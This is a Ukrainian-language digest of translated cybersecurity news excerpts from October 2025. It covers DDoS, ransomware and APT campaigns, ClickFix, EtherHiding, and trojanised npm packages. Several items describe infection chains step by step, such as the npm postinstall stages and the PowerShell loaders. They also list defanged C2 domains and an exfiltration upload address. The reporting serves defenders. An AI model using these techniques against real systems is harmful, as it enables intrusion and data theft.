«…Gcore, глобальний постачальник рішень у галузі штучного інтелекту, хмарних технологій, мереж та безпеки, успішно відбив одну з найбільших DDoS-атак, зафіксованих на сьогоднішній день, яка була спрямована проти хостинг-провайдера в ігровому секторі. Масова багаторегіональна атака досягла піку в 6 Тбіт/с (терабіт на секунду) пропускної здатності та 5,3 млрд пакетів на секунду, використовуючи переважно протокол UDP у короткому спалаху тривалістю 30-45 секунд. Методика атаки відповідала ботнету AISURU, який відомий посиленням DDoS-кампаній, що відображено в нещодавньому звіті Gcore, який показує 41% зростання DDoS-атак лише за один квартал…

Географічна концентрація атаки показала, що 75% зловмисного трафіку походило з Бразилії (51%) та США (23,7%), що свідчить про тривожну еволюцію можливостей ботнетів, які експлуатують незахищену інфраструктуру в регіонах з високою щільністю пристроїв. Керівник служби безпеки Gcore Андрій Сластенів підкреслив, що цей інцидент підкреслює зростання масштабів і складності сучасних DDoS-кампаній, які часто є короткочасними і високоінтенсивними, призначеними для перевірки стійкості або збігаються з іншими векторами атак…

Глобальне рішення Gcore для захисту від DDoS-атак нейтралізувало атаку без переривання обслуговування, використовуючи свою розподілену інфраструктуру в понад 210 точках присутності та величезну пропускну здатність фільтрації понад 200 Тбіт/с. Цей успіх підкреслює критичну необхідність інтегрованих, керованих штучним інтелектом та адаптивних стратегій запобігання, включаючи фільтрацію на периферійному рівні та аналіз поведінки на рівні 7, оскільки атаки все частіше поєднують об'ємні та прикладні експлойти в усій галузі». ***(Gcore Mitigates Record-Breaking 6 Tbps DDoS Attack // Techstrong Group Inc. (https://securityboulevard.com/2025/10/gcore-mitigates-record-breaking-6-tbps-ddos-attack/). 14.10.2025).***

***

«Повсюдна поширеність соціальних мереж, з одного боку, сприяє глобальній взаємодії, але, з іншого боку, одночасно посилює загрози кібербезпеці, змушуючи користувачів приділяти першочергову увагу цифровій обороні, оскільки кіберзлочинці все частіше використовують цифрові сліди, залишені під час онлайн-активності. Нещодавнє опитування Mastercard відображає цю стурбованість, виявивши, що 70% споживачів вважають, що захист їхніх особистих даних в Інтернеті є складнішим, ніж захист їхніх фізичних осель. Користувачі можуть зменшити ризики, розумно розпоряджаючись часом, який проводять у соціальних мережах, оскільки надмірна активність збільшує ризик збору даних і знижує здатність до критичного мислення, роблячи користувачів більш вразливими до шахрайства та потенційно впливаючи на їхнє психічне здоров'я, як показали дослідження, що пов'язують часте використання TikTok з тривогою…

Основною загрозою залишаються фішинг-атаки, під час яких зловмисники видають себе за надійні організації, щоб викрасти конфіденційні дані за допомогою оманливих посилань або повідомлень, часто використовуючи терміновість, щоб чинити тиск на жертв. Незважаючи на високу обізнаність, лише 25% опитаних студентів пройшли офіційне навчання з кібербезпеки, що підкреслює необхідність регулярної освіти. Крім того, кібербезпека виходить за межі паролів і включає виявлення прихованого відстеження даних, оскільки платформи постійно контролюють активність, місцезнаходження та історію переглядів, часто без повного розуміння користувачами політики щодо даних, що полегшує зловживання ідентифікаційними даними та цілеспрямовані атаки. Користувачі повинні обмежувати таке відстеження, регулярно перевіряючи дозволи додатків та використовуючи інструменти для блокування файлів cookie. Нарешті, користувачі повинні розпізнавати маніпулятивні алгоритми та цифрові технології — такі

функції, як нескінченні стрічки новин та оманливі підказки, призначені для використання даних користувачів з метою впливу на їхню поведінку в Інтернеті — шляхом активного вимкнення персоналізованих рекомендацій та сповіщень, щоб зменшити алгоритмічний контроль та пов'язані з ним кіберризики…» ***(Indira V. Cybersecurity Tips Every Active Social Media User Should Know // IndraStra Global (https://www.indrastra.com/2025/10/cybersecurity-tips-every-active-social.html). 17.10.2025).***

***

«…Vocus Group, материнська компанія австралійських телефонних та інтернет-провайдерів Dodo та iPrimus, підтвердила, що стала жертвою серйозного порушення безпеки, виявленого в неділю після того, як у її системах було виявлено підозрілу активність. Кібератака, яка розпочалася в п'ятницю ввечері, була спрямована на SIM-карти і в результаті зачепила 1600 домашніх інтернет- та мобільних клієнтів. Vocus повідомила про несанкціонований доступ до приблизно 1600 електронних поштових акаунтів клієнтів, що сприяло несанкціонованій заміні SIM-карт на 34 акаунтах Dodo Mobile… Хоча Vocus призупинив надання послуг і працював протягом вихідних, послуги електронної пошти були повністю відновлені лише в неділю вранці. З того часу компанія працювала над скасуванням SIM-обмінів, порадила всім постраждалим клієнтам змінити свої паролі та надала підтримку через свою систему IDCare. Vocus Group, яка контролює близько 9,2% ринку Національної широкосмугової мережі, вибачилася за тимчасове призупинення послуг, необхідне для забезпечення пріоритетності безпеки». ***(ZAK WHEELER. One of Australia's biggest telcos is hit by cybersecurity attack - with some customers' phone numbers HIJACKED // Associated Newspapers Ltd (https://www.dailymail.co.uk/news/article-15206045/Vocus-Group-hack-Dodo-iPrimus.html). 19.10.2025).***

***

«ClickFix» (також відомий як FileFix, fake-CAPTCHA або clipboard-phishing) — це швидко поширювана техніка атаки, в якій жертв заманюють на, на перший погляд, легітимні веб-сторінки (часто через SEO-отруєні результати пошуку, шкідливу рекламу або викрадені домени), де їх просять виправити помилку або вирішити CAPTCHA. Під час виконання інструкцій на екрані JavaScript непомітно копіює шкідливі команди в буфер обміну; потім користувачі вставляють і виконують ці команди локально (зазвичай в PowerShell, mshta або іншому LOLBIN), надаючи зловмисникам негайний доступ до кінцевої точки…

Цей метод набуває популярності, оскільки:

• Програми з підвищення обізнаності в питаннях безпеки вчать співробітників не довіряти підозрілим електронним листам, а не командам, які вони виконують самостійно.

• Доставка повністю обходить фільтри електронної пошти та використовує хитрощі для уникнення виявлення — обертання або заплутування доменів,

виявлення ботів, умовне завантаження — тому веб-проксі та списки заблокованих URL-адрес рідко її позначають.

• Копіювання в буфер обміну відбувається всередині пісочниці браузера, невидимої для мережевих інструментів; перше місце, де його можна зупинити, — це кінцева точка.

• Системи виявлення та реагування на кінцевих точках (EDR) бачать лише код, ініційований користувачем, без очевидного батьківського процесу, а зловмисники додатково заплутують або інсценують корисне навантаження, тому блокування в режимі реального часу є ненадійним, особливо на некерованих пристроях BYOD…

Програми-вимагачі Interlock, APT-групи, що фінансуються державою, та інші угруповання вже використовували тактику ClickFix під час атак на Kettering Health, DaVita, місто Сент-Пол та Центр медичних наук Техаського технологічного університету. Стандартні заходи захисту (наприклад, відключення функції Windows Run для користувачів) є фрагментарними і їх легко обійти, а майбутні варіанти можуть залишатися повністю в браузері, повністю обходячи EDR…

Для усунення цієї прогалини необхідні засоби контролю в самому браузері. Наприклад, Push Security тепер пропонує функцію виявлення «зловмисного копіювання та вставлення», яка блокує підозрілі вставки з буфера обміну, перш ніж користувачі зможуть їх виконати, без зниження продуктивності, яке спричиняє загальне DLP. У поєднанні з заходами щодо посилення ідентифікації (застосування MFA, гігієна OAuth, аудит розширень) та постійним навчанням користувачів, яке акцентує увагу на приманках командного рядка, а не лише на підозрілих посиланнях, така видимість браузера на передньому плані є необхідною для стримування вектора атаки, який традиційні фільтри електронної пошти, веб-проксі та інструменти кінцевих точок бачать лише тоді, коли вже запізно». ***(Analysing ClickFix: 3 Reasons Why Copy/Paste Attacks Are Driving Security Breaches // The Hacker News (https://thehackernews.com/2025/10/analysing-clickfix-3-reasons-why.html). 20.10.2025).***

***

«…Атаки з введенням параметрів пошуку, прикладом яких є зловмисні рекламні оголошення Google, націлені на такі фрази, як «підтримка [назва компанії]», є складною і зростаючою загрозою, коли злочинці використовують легальні веб-сайти для крадіжки даних або встановлення троянських програм. Зловмисники використовують цільові рекламні оголошення, щоб перенаправити користувачів на справжню сторінку підтримки компанії (наприклад, Netflix або Dell), але вводять свій власний номер телефону в функцію пошуку. Жертви, які дзвонять за цим номером, ризикують розкрити конфіденційні дані для входу або бути переконаними встановити шкідливе «програмне забезпечення підтримки», яке насправді є трояном, що надає доступ до ПК. Захист від цього залежить від веб-фільтрів, таких як ті, що пропонує Malwarebytes, які можуть розпізнавати та блокувати ці атаки…

Загальні рекомендації з безпеки:

Для користувачів, які добре розбираються в IT, достатньо антивірусного захисту, такого як Microsoft Defender, але тим, хто менше цікавиться IT-безпекою, рекомендується використовувати комплексні пакети безпеки, оскільки вони мають додаткові захисні функції.

Паролі-ключі значно безпечніші за звичайні паролі і забезпечують чудовий захист від фішингу, оскільки їх неможливо вкрасти. Однак широке поширення паролів-ключів без паролів обмежується проблемами з відновленням облікового запису в разі втрати пристрою.

Захист від криптомайнерів буває двох видів: блокування традиційного шкідливого програмного забезпечення за допомогою хорошого антивірусного програмного забезпечення та блокування майнінгу на основі JavaScript на веб-сайтах (coinhiving) за допомогою спеціалізованих браузерів, таких як Opera…

Очікується, що небезпека атак із використанням штучного інтелекту зростатиме, оскільки такі інструменти, як FraudGPT і WormGPT, швидко генерують дуже переконливі фішингові електронні листи та дипфейки (наприклад, підроблені відео з публічними особами, які рекламують шахрайські схеми). Для захисту необхідно ретельно перевіряти адреси відправників, посилання та бути особливо обережними щодо підозрілих медіа.

Вразливості нульового дня — це критичні недоліки безпеки, про які невідомо постачальнику, а отже, для них не існує негайних виправлень; захист покладається на евристику антивірусів для розпізнавання шкідливого коду, а в сценаріях високого ризику — на тимчасове відключення ураженої системи від Інтернету…

Онлайн-сканери вірусів більше не існують як справжні сканери всього жорсткого диска через обмеження браузера, але зараз цей термін означає прості антивірусні програми, які можна завантажити, або веб-сайти для аналізу файлів, такі як VirusTotal, які корисні для отримання другої думки.

Файли, зашифровані програмним забезпеченням-вимагачем, іноді можна відновити за допомогою інструментів дешифрування, які можна знайти через такі сервіси, як nomoreransom.org, але найефективнішим захистом залишається надійне антивірусне програмне забезпечення в поєднанні з актуальною, зовнішньо захищеною резервною копією.

Безпека файлів у хмарі є ризикованою через потенційний доступ хакерів, доступ провайдера та можливе блокування облікового запису; для захисту потрібні інструменти наскрізного шифрування, такі як Cryptomator, та збереження локальної резервної копії конфіденційних даних у хмарі…» ***(Arne Arnold. Worried about hackers, viruses, and fraud? Ask yourself these 10 questions // FoundryCo, Inc. (https://www.pcworld.com/article/2924220/hackers-viruses-fraud-10-security-questions-every-user-needs-to-know.html). 21.10.2025).***

***

Діяльність хакерів та хакерські угруповування

«…«Супергрупа» кіберзлочинців, відома як «Трійця хаосу» (Trinity of Chaos), була сформована трьома найвідомішими англомовними хакерськими

угрупованнями: LAPSUS$, ShinyHunters і Scattered Spider. Об'єднавши свої сильні сторони, вони успішно атакували великі глобальні організації, здійснивши гучні витоки даних, пов'язані з такими компаніями, як Qantas, Adidas і Google…

На початку вересня конгломерат написав іронічний лист про вихід на пенсію, в якому заявив, що його цілі були досягнуті. Однак аналітики з кібербезпеки вважають, що це була хитрість, оскільки після оголошення про вихід на пенсію в нових хвилях атак і листів з вимаганням викупу були помічені характерні для групи хакерські техніки, що свідчить про те, що зловмисники, ймовірно, просто вирішили діяти більш обережно…

Члени цієї групи, яких описують як молодих, технічно підкованих «цифрових аборигенів», досягають успіху не завдяки новим або складним технологіям, а завдяки добре організованій соціальній інженерії. Вони використовують людські слабкості, обманюючи співробітників, щоб отримати доступ до мережі за допомогою таких методів, як голосовий фішинг, видавання себе за співробітників IT-відділу та викликання «втоми від багатофакторної автентифікації (MFA)». Їхня основна стратегія полягає в крадіжці великих обсягів даних, а потім шантажуванні жертв погрозами їх оприлюднення, часто використовуючи публічне приниження та онлайн-опитування для максимального психологічного впливу. У відповідь експерти закликають організації «підвищити рівень» власних захисних заходів шляхом впровадження аутентифікації, стійкої до фішингу, прийняття архітектури безпеки «нульової довіри» та проведення комплексного навчання всіх співробітників і підрядників…» ***(Annika Burgess. Inside the 'Trinity of Chaos' group of young hackers targeting major companies // ABC (https://www.abc.net.au/news/2025-10-05/trinity-of-chaos-hacker-groups-qantas-data-breach-cyber-security/105838370). 05.10.2025).***

***

«Cisco Talos виявила триваючу кампанію, в рамках якої китайськомовна група під назвою «UAT-8099» захоплює погано захищені сервери Microsoft IIS — переважно в університетах, технологічних компаніях і телекомунікаційних компаніях в Індії, Таїланді, В'єтнамі, Канаді та Бразилії — для здійснення масштабного шахрайства з оптимізацією пошукових систем (SEO) та збору будь-яких знайдених облікових даних…

Зловмисники починають з використання веб-додатків, які дозволяють користувачам завантажувати файли без обмежень: вони проникають у веб-оболонку, створюють гостьовий обліковий запис, отримують права адміністратора та вмикають Протокол віддаленого робочого столу (RDP). Опинившись всередині, вони встановлюють набір інструментів SEO «BadIIS», створюють прихований обліковий запис адміністратора для збереження доступу та маскують свій віддалений доступ за допомогою тунелів SoftEther або EasyTier VPN та зворотного проксі-сервера FRP. Щоб утримати конкурентів, вони навіть використовують додаток «безпеки» Інтернет-серверу інформації (IIS) під назвою D_Safe_Manage, підкреслюючи захист, який повинні були мати жертви.

Контролюючи домен з високою репутацією, UAT-8099 заповнює сервер сторінками з великою кількістю ключових слів і прихованими зворотними

посиланнями, що підвищують його рейтинг у пошуку; користувачі, які клацають на, здавалося б, законні результати, перенаправляються на рекламні або відверто шкідливі сайти, які пошукові роботи ніколи не бачать. Будь-які цінні облікові дані, знайдені на викрадених комп'ютерах, викачуються для перепродажу як додатковий заробіток…

Talos закликає організації шукати ознаки компрометації групи (хеші та домени знаходяться на GitHub Talos), блокувати виконання скриптів у папках для завантаження за допомогою обробника StaticFile, вимкнути або сильно обмежити RDP на порту 3389, застосувати MFA для всіх адміністраторів та передавати журнали IIS до SIEM, щоб незвичайне створення файлів або VPN-маяки викликали негайне сповіщення». ***(John E. Dunn. Newly-discovered threat group hijacking IIS servers for SEO fraud, warns Cisco Talos // FoundryCo, Inc. (https://www.csoonline.com/article/4067773/newly-discovered-threat-group-hijacking-iis-servers-for-seo-fraud-warns-cisco-talos.html). 03.10.2025).***

***

«…Дослідження групи Threat Intelligence Group компанії Google виявило ескалацію кіберзагроз, в рамках якої щонайменше дві хакерські групи — північнокорейська державна організація UNC5342 та фінансово мотивована UNC5142 — використовують публічні блокчейни для приховування та контролю операцій з використанням шкідливого програмного забезпечення, застосовуючи техніку під назвою EtherHiding. Цей метод полягає у вбудовуванні шкідливих інструкцій у смарт-контракти блокчейну, що надає зловмисникам децентралізовану, незмінну та «куленепробивну» інфраструктуру, стійку до звичайних заходів правоохоронних органів…

EtherHiding працює шляхом зберігання шкідливого коду всередині транзакції блокчейну та вилучення його за допомогою викликів тільки для читання, практично не залишаючи слідів на традиційних серверах. UNC5342 використовує цю техніку в рамках своєї соціальної інженерної кампанії «Contagious Interview», видаючи себе за рекрутерів, щоб проникнути в компанії розробників і криптовалюти, поширюючи шкідливе програмне забезпечення, таке як JadeSnow і InvisibleFerret, яке націлене на облікові дані та криптовалютні гаманці, такі як MetaMask. UNC5142, фінансово мотивований зловмисник, використовує EtherHiding для зараження вразливих сайтів WordPress ін'єктованими JavaScript-завантажувачами (ClearShort), використовуючи BNB Smart Chain як рівень управління та контролю для розповсюдження різних інфокрадіїв, включаючи Vidar і Lummac.V2. Ця група використовує складну трирівневу архітектуру, яка імітує програмний «проксі-шаблон», щоб швидко оновлювати тисячі заражених сайтів за транзакційну вартість, яка становить всього 0,25 долара…

Хоча сам блокчейн є незмінним, що забезпечує зловмисникам надзвичайну стійкість, обидва суб'єкти загрози покладаються на централізовані служби, такі як публічні кінцеві точки RPC та постачальники API, для отримання даних. Ця залежність надає захисникам «точки спостереження та контролю». Однак непослідовна співпраця з боку цих сторонніх посередників збільшує ризик поширення цієї техніки. Незважаючи на виклики, пов'язані з анонімністю, низькою

вартістю та незмінністю інфраструктури блокчейну, експерти з безпеки наголошують, що моніторинг цих централізованих точок контакту та використання рішень для захисту кінцевих точок, таких як централізовані інструменти управління Chrome Enterprise, є критично важливими кроками у боротьбі з новою фазою стійкості шкідливого програмного забезпечення…» ***(Rashmi Ramesh. Hackers Use Blockchain to Hide Malware in Plain Sight // Information Security Media Group, Corp. (https://www.databreachtoday.com/hackers-use-blockchain-to-hide-malware-in-plain-sight-a-29741). 16.10.2025).***

***

«Російська група хакерів Qilin, що спеціалізується на викраденні даних з метою вимагання викупу, додала до свого сайту в даркнеті, де публікує викрадені дані, дві техаські електророзподільчі кооперативи — San Bernard Electric Cooperative та Karnes Electric Cooperative — і заявила, що викрала та опублікувала конфіденційні корпоративні дані. San Bernard експлуатує 3900 миль ліній, що обслуговують приблизно 28 000 клієнтів у восьми округах, і має річний дохід близько 92,5 мільйонів доларів; Karnes експлуатує майже 5000 миль ліній для 23 000 клієнтів у 12 округах, з доходом близько 75,8 мільйонів доларів. Якщо витік є справжнім, то серед викрадених даних є звіти про перші інциденти (із іменами та номерами телефонів жертв), річні бюджети, страхові файли, звіти про витрати, рахунки-фактури, записи про працю та обладнання, контракти на право проїзду, контактні дані членів правління та розширені фінансові звіти — інформація, яка може підірвати цінові стратегії, зашкодити довірі, сприяти атакам соціального інжинірингу або крадіжці особистих даних та викрити вразливі місця в організаціях критичної інфраструктури США. Обидва кооперативи ще не підтвердили факт порушення; зловмисники, що використовують програми-вимагачі, іноді повторно використовують старі дані, коли висувають нові вимоги…

Цей інцидент підкреслює більш широку ескалацію діяльності Qilin, однієї з найактивніших груп, що займаються викраденням даних з метою вимагання викупу, з 2024 року. Ця група, яка діє принаймні з 2022 року, з січня 2025 року здійснила понад 500 заявлених атак, перевершивши за обсягом Cl0p, Play, INC Ransom та Akira. Серед останніх гучних жертв Qilin — SK Telecom, японська Asahi Holdings, дизайн-студія Nissan Creative Box та британська мережа медичних лабораторій Synnovis, злом якої порушив тисячі процедур Національної служби охорони здоров'я (NHS). Група часто використовує тактику подвійного шантажу — публікує зразки даних, щоб змусити організації платити — і, за повідомленнями, утворила коаліцію з LockBit та DragonForce, що, на думку експертів, може ще більше розширити масштаби та складність атак…

Оскільки електричні кооперативи є частиною критичної інфраструктури США, передбачувані порушення викликають занепокоєння з приводу національної безпеки. Якщо вони підтвердяться, це підкреслить постійні прогалини в кібербезпеці регіональних комунальних підприємств і підсилить попередження американських властей про те, що групи хакерів, які використовують програми-вимагачі, все частіше націлюються на важливі служби». ***(Paulina Okunytė. Russia-***

linked hackers attack Texas electric cooperatives // Cybernews (https://cybernews.com/security/texas-electric-coops-ransomware-attack/). 14.10.2025).

***

«Група хакерів Scattered Spider (UNC3944 / Octo Tempest), що займається розробкою програм-вимагачів, продовжує бути стійкою і постійно розвивається загрозою, відомою безжалісною ефективністю соціальних інженерних прийомів, підміною SIM-карт і використанням дійсних облікових даних для переміщення всередині мереж перед шифруванням і викраденням даних. Незважаючи на нещодавні руйнівні атаки на роздрібні мережі, зокрема інцидент із Marks & Spencer, який завдав збитків на суму понад 300 мільйонів фунтів стерлінгів, багато організацій застосовують лише традиційні заходи, зосереджені на периметрі, такі як посилення контролю доступу та покращення навчання з питань фішингу…

Основною причиною цих порушень було помилкове припущення, що контролю ідентичності та доступу достатньо для захисту даних; зловмисники не порушили периметр, а видавали себе за співробітників, що зробило безпеку на основі облікових даних неефективною. Галузь повинна визнати той факт, що більшість стратегій розроблені для захисту систем, а не даних, якими вони керують…

Більш стійким підходом є захист даних та зменшення ризиків (DPRM), який зміщує акцент з безпеки, заснованої на довірі, на постійне шифрування та сегментацію, що застосовуються безпосередньо на рівні даних. Якби цей підхід, орієнтований на дані, був реалізований під час атак на роздрібну торгівлю, викрадені записи, такі як дані про клієнтів та фінансові дані, втрачені в Marks & Spencer, стали б нечитабельними, що унеможливило б як фінансове здирництво, так і шкоду репутації. Хоча сильна сегментація мережі (як це видно з реакції The Co-op) є цінною для локалізації, вона не запобігає витоку даних. Прибутковість програм-вимагачів падає, коли викрадені дані стають непридатними для використання, що значно мінімізує фінансові втрати, прискорює відновлення та зменшує зростаючу відповідальність керівництва та регуляторних органів за такими режимами, як GDPR та NIS2. Scattered Spider та подібні групи роблять ставку на те, що галузь не змінюватиметься достатньо швидко, підкреслюючи нагальну необхідність для організацій прийняти підхід, що ставить на перше місце локалізацію, який надає пріоритет забезпеченню цінності даних, а не лише забезпеченню доступу». ***(Simon Pamplin. The Retail Sector Isn't Ready for the Next Scattered Spider Attack, But it Could Be // NAPCO Media (https://www.mytotalretail.com/article/the-retail-sector-isnt-ready-for-the-next-scattered-spider-attack-but-it-could-be/). 14.10.2025).***

***

«Jewelbug використовував хмарний сервіс Yandex для викрадення даних, уникаючи виявлення завдяки використанню надійної російської платформи. Вибір цілей групи — компанії в Південній Америці, Південній та Південно-Східній Азії, а тепер і в Росії — підкреслює привабливість IT-провайдерів для

них завдяки доступу до декількох мереж. Цей інцидент є помітним прикладом того, як китайські хакери націлюються на союзника, що відображає більш широкі побоювання щодо кібердіяльності Китаю проти російських організацій. Symantec відзначила здатність Jewelbug розробляти власне шкідливе програмне забезпечення та підтримувати приховану довгострокову присутність, що робить її значною новою загрозою…

Компанія Symantec повідомляє, що китайська група хакерів, відома під назвою Jewelbug (також відома як Earth Alux), з січня по травень 2025 року проникла в системи побудови та зберігання коду російської IT-компанії, ймовірно, з метою отримання доступу до ланцюжка постачання програмного забезпечення, щоб дістатися до кінцевих споживачів цього постачальника. Група, яка спеціалізується на довгостроковому шпигунстві, викрала дані через Yandex Cloud — надійну внутрішню інфраструктуру, яка не викликала б підозр у Росії. Jewelbug також атакував урядову установу Південної Америки, тайванського постачальника програмного забезпечення та іншого IT-провайдера в Південній Азії, а також розробляє новий бекдор, що свідчить про більш амбітні плани. Цей злом підкреслює, що Росія не є винятком з китайських кіберрозвідувальних операцій, що підтверджує попередні повідомлення про хакерські атаки APT31, APT27, Mustang Panda та Tonto Team проти російських цілей після вторгнення в Україну. Symantec робить висновок, що зростаючий арсенал Jewelbug із спеціальним шкідливим програмним забезпеченням та його скритність роблять його ключовим APT, за яким слід стежити…» ***(Daryna Antoniuk. Researchers report rare intrusion by suspected Chinese hackers into Russian tech firm // Recorded Future News (https://therecord.media/rare-china-linked-intrusion-russian-tech-firms). 15.10.2025).***

***

Вірусне та інше шкідливе програмне забезпечення

«Компанія Trend Micro виявила хвилю шкідливого програмного забезпечення, зосереджену в Бразилії, під назвою «Water Saci», яка запускає черв'яка SORVEPOTEL на ПК з ОС Windows, а потім поширюється зі швидкістю комп'ютера через настільну версію WhatsApp. Зараження починається з фішингового повідомлення, яке надходить від раніше викраденого контакту (або, в деяких випадках, з подібного електронного листа). Приманкою є ZIP-архів, замаскований під квитанцію або файл медичного додатка; всередині знаходиться ярлик Windows LNK, який непомітно запускає скрипт PowerShell. Цей скрипт витягує пакетний файл з віддаленого сайту (наприклад, sorvetenopoate[.]com), встановлює себе в папку «Автозавантаження» для збереження та зв'язується з сервером C2 для отримання подальших корисних даних…

Після вбудовування SORVEPOTEL перевіряє, чи активний WhatsApp Web. Якщо так, шкідливе програмне забезпечення автоматично пересилає той самий ZIP-файл із пасткою всім контактам і групам в адресній книзі жертви, генеруючи стільки спаму, що акаунт часто блокується фільтрами WhatsApp. З 477

зареєстрованих випадків зараження 457 сталися в Бразилії, вразивши мережі урядових, державних служб, виробничих, технологічних, освітніх та будівельних компаній.

Подальший аналіз Trend Micro показує, що пакетний файл в кінцевому підсумку завантажує завантажувач PowerShell, який рефлексивно вводить DLL-бібліотеку .NET. Ця DLL-бібліотека (1) виконує антианалітичні перевірки для таких інструментів, як Wireshark, IDA або Ghidra; (2) завантажує ще два компоненти — «Maverick.StageTwo» та DLL для автоматизації WhatsApp — з доменів, таких як zapgrande[.]com; та (3) підтримує кілька резервних каналів C2. Maverick.StageTwo встановлює власну стійкість, а потім відстежує трафік браузера на предмет відвідувань 65 латиноамериканських банківських сайтів (Banco do Brasil, Itaú, Santander, Binance, Mercado Pago тощо). Якщо збіг виявлено, запускається «Maverick.Agent», який може збирати системні дані, робити знімки екрана, реєструвати натискання клавіш, вводити текст, блокувати пристрої введення за допомогою накладних екранів, створювати списки встановлених програм і відображати підроблені банківські сповіщення для викрадення облікових даних і токенів. Тим часом DLL-бібліотека автоматизації використовує Selenium для керування WhatsApp Web і продовження поширення черв'яка…

На відміну від звичайних програм-вимагачів або кампаній з викрадення даних, Water Saci «розроблений для швидкості та поширення», але другий етап, орієнтований на банківську сферу, показує, що кінцевою метою операторів є фінансове шахрайство. Оскільки більшість жертв зосереджена в Бразилії, а шкідливе програмне забезпечення вимагає настільного середовища, дослідники вважають, що основними цілями є малі та середні підприємства». ***(Ravie Lakshmanan. Researchers Warn of Self-Spreading WhatsApp Malware Named SORVEPOTEL // The Hacker News (https://thehackernews.com/2025/10/researchers-warn-of-self-spreading.html). 03.10.2025).***

***

«Китайська кібершпигунська група, що підтримується державою, відома як Flax Typhoon (відстежується Microsoft), протягом більше року таємно перебувала на сервері ArcGIS, перетворивши легальне картографічне програмне забезпечення на веб-оболонку-бекдор. Дослідники ReliaQuest виявили, що група модифікувала легальне розширення об'єкта сервера ArcGIS (SOE), щоб воно приймало команди, закодовані в base64, що передавалися через параметри REST API, забезпечуючи безпеку зв'язку за допомогою жорстко закодованого секретного ключа… Використовуючи дійсні облікові дані адміністратора для розгортання шкідливого розширення, Flax Typhoon маскував свою діяльність під звичайні системні операції, що дозволяло йому виконувати дії після компрометації, такі як запуск команд і завантаження файлів, без використання шкідливого програмного забезпечення на основі сигнатур — тактика, що відповідає способу дії групи «жити за рахунок землі». Важливо, що шкідливе SOE було інтегровано в резервні копії системи, що означало, що організації-жертви ненавмисно заражали себе знову під час спроби відновлення… Цей інцидент підкреслює, як досвідчені зловмисники підривають довіру і перетворюють широко

використовуване легальне програмне забезпечення на інструменти довгострокового шпигунства, вимагаючи від захисників ставитися до резервних копій не як до засобів захисту від збоїв, а як до потенційних векторів повторного зараження. Ця діяльність нагадує попередні операції Flax Typhoon, включаючи ботнет, викритий ФБР, що призвело до санкцій проти Integrity Technology Group з Пекіна за підтримку вторгнень». ***(Chinese gang used ArcGIS as a backdoor for a year – and no one noticed // Situation Publishing (https://www.theregister.com/2025/10/14/chinese_hackers_arcgis_backdoor/). 14.10.2025).***

***

«Останній індекс шкідливого програмного забезпечення для ОС від Sonatype показує 140-відсотковий сплеск шкідливого програмного забезпечення з відкритим кодом, оскільки зловмисники націлюються на дані та надійні залежності.

Індекс складено на основі аналізу 34 319 пакетів шкідливого програмного забезпечення з відкритим кодом, виявлених Sonatype у основних реєстрах відкритого коду, включаючи npm, PyPI, Hugging Face та інші. За підсумками цього кварталу загальна кількість шкідливих пакетів, виявлених Sonatype з 2019 року, становить 877 522…

Серія атак на менеджер пакетів з відкритим кодом npm підкреслює, що зловмисники більше не просто вставляють шкідливий код в екосистему — вони перетворюють саму ланцюжок поставок на зброю.

У третьому кварталі шкідливе програмне забезпечення для викрадення даних становило 35% усіх виявлених шкідливих пакетів з відкритим кодом, що підкреслює тенденцію попередніх кварталів до збору розвідданих, шпигунства та монетизації викрадених даних. Зловмисники націлюються на облікові дані розробників, токени доступу та конфіденційну інформацію, перетворюючи екосистеми з відкритим кодом на багаті мисливські угіддя для експлуатації даних.

У третьому кварталі різко зросла кількість дроперів — легких механізмів доставки, які встановлюють вторинні корисні навантаження, такі як бекдори або програми для викрадення інформації. Вони склали майже 38% усіх загроз, а кількість пакетів із бекдорами зросла на 143% у порівнянні з попереднім кварталом…» ***(Ian Barker. Open source malware up 140 percent // BetaNews, Inc. (https://betanews.com/2025/10/15/open-source-malware-up-140-percent/). 16.10.2025).***

***

«Нова загроза викрадення облікових даних під назвою «Chessfi» поширюється серед шукачів роботи, яких просять встановити інструмент, що виглядає як засіб оцінки кодування. Насправді пакет, який вони завантажують — node-nvm-ssh, опублікований в офіційному репозиторії npm — містить троянський скрипт, що запускається після інсталяції. Як тільки жертва запускає npm install, цей скрипт непомітно запускає прихований процес, який розшифровує і виконує великий JavaScript-пакет, що об'єднує два раніше незалежних набори інструментів, BeaverTail і OtterCookie…

Модулі BeaverTail перераховують розширення браузера і, за допомогою компонента InvisibleFerret Python, можуть завантажувати додаткові корисні дані, тоді як OtterCookie забезпечує віддалений шел, процедури викрадення файлів, крадіжку вмісту буфера обміну та нещодавно доданий кейлоггер. Об'єднане шкідливе програмне забезпечення відкриває з'єднання socket.io — зазвичай на TCP 1418 — з сервером управління та контролю, а потім чекає на інструкції. Звідти зловмисники можуть виконувати довільні команди оболонки та викачувати все, що відповідає широким маскам файлів, від документів .env або .docx до цілих каталогів криптогаманців.

На місцевому рівні кейлогер записує натискання клавіш кожну секунду у файл windows-cache/1.tmp і робить знімки екрана кожні чотири секунди у файл 2.jpeg, об'єднуючи обидва файли для завантаження на hxxp://172.86.88.188:1478/upload. Тому постійний вихідний трафік на портах 1418 і 1478 є явною ознакою компрометації…

Під поверхнею ланцюжок інфікування навмисно ускладнений: package.json запускає нешкідливий на вигляд скрипт «postinstall», який викликає «npm run skip». Skip виконує node testfixtures/eval, який запускає відокремлений дочірній процес, що виконує файл file15.js; цей файл остаточно зчитує та оцінює сильно заплутаний корисний вантаж, що зберігається в test.list. Цей багатоетапний підхід приховує шкідливу логіку від випадкових перевірок коду та інструментів статичного аналізу, дозволяючи зловмиснику скористатися звичайними робочими процесами розробників.

Cisco Talos виявила кампанію, яку приписують хакеру «Famous Chollima», після того, як помітила незвичайний вихідний трафік з ураженого хоста. Поєднавши прихований завантажувач BeaverTail з багатим арсеналом OtterCookie для викрадення інформації та замаскувавши все під робочу програму Node.js, оператори створили універсальну, важко виявляєму платформу шкідливого програмного забезпечення, яка збирає облікові дані, гаманці криптовалюти, натискання клавіш, знімки екрана та будь-які файли, що представляють інтерес, одночасно забезпечуючи повне дистанційне керування комп'ютером жертви…» ***(Tushar Subhra Dutta. North Korean Hackers Using Malicious Scripts Combining BeaverTail and OtterCookie for Keylogging // Cyber Security News (https://cybersecuritynews.com/north-korean-hackers-using-malicious-scripts-combining-beavertail-and-ottercookie-for-keylogging/). 16.09.2025).***

***

